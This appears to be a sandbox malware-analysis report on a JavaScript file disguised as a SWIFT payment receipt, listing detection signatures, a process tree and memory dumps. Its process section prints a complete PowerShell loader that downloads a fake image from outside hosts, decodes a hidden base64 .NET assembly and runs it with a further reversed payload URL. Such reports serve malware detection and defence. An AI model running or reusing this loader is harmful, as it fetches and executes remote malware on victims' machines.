Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    23/02/2024, 16:23

General

  • Target
    comprobante_swift89534657687.js
  • Size 1KB
  • Sample240223-tvs3nsda98
  • SHA256 41f76926477c7f8759900567ced4e5e1f9057e40d2a151badc873d23f372997e
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\comprobante_swift89534657687.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/991/original/new_image.jpg?1707144482', 'http://45.74.19.84/xampp/bkp/js_bkp.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.diord46esab/19.412.542.271//:ptth' , 'desativado' , 'C:\ProgramData\' , 'Name'))}}
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2512

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2256-16-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

        memory/2256-17-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

        memory/2512-22-0x000000001B660000-0x000000001B942000-memory.dmp

        memory/2512-24-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-25-0x00000000021D0000-0x00000000021D8000-memory.dmp

        memory/2512-23-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

        memory/2512-27-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-28-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-26-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

        memory/2512-29-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-30-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

        memory/2512-31-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-32-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-33-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-34-0x00000000028A0000-0x0000000002920000-memory.dmp

        memory/2512-35-0x000000001AE70000-0x000000001B3BC000-memory.dmp

        memory/2512-36-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp